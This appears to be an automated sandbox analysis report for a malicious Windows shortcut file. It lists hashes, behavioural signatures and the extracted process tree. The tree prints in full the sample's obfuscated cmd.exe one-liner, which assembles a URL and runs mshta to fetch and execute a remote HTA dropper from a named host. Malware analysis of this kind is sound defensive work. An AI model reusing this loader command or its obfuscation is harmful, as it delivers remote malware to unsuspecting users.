Analysis
- max time kernel
58s - max time network
41s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 18:45
Static task
static1
Behavioral task
behavioral1
Sample
DOC-UIFCEX.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-UIFCEX.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-UIFCEX.lnk
- Size 2KB
- Sample260817-xeef5axxes
- SHA256 07ff050dfb7dfee2b9dbd74471e59352ba3f50e03b5aaf620a1dfd35b858e732
- MD5 fe13d41d9cd0560ccf82111f6cb8077d
- SHA1 2f27e03d4837cf5e0d89f9de3a760db406da260d
- SHA512 84d6384a301a9b9db34aca3b97852dee7a650ec6ff7e8ae87dae22f8750ae748156797437ab01ddf925b07e2f45b0f9e6cb012233b533d304b42892ab4280d77
- TLSH T1CC4126912AEA40D8F3FB8E72EDBE2B51487BB8515D35D59D0840820C0523B11D9B7F37
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1964 cmd.exe 3640 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1964 wrote to memory of 3640 1964 cmd.exe 89 PID 3640 wrote to memory of 4568 3640 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UIFCEX.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set WUu=logixlbilog&set jlG=datwgueksemdat&set AVd=logddcjletraegikhdqhtlog&set oiCxh=infbdcnbwgowzzncdwrzinf&set SvbY=datfgsasnhetthdat&set xqYV=0sxo&&set sGTyM=7b9tatv9&&set aJEJa=705rtq1f&set GAU=cachetvxsqofwualjtnwafcache&set QQ=infpbaovzsjmuhiascfkxtphmtinf&set aCc=netgccivpnet&set yAIT=i0ems5l&&set BQoYz=hzjhtv0&&set AQEH=7aak7n&&set Sx=ht@t@ps://[email protected]/h/@esta@gi@o1@.@php@?r@=@391@46@9@F@B@5D8@2@DB&&start /b !yAIT:~3,2!!BQoYz:~3,2!!AQEH:~2,1! !Sx:@=!&&set sx=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3640 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4568
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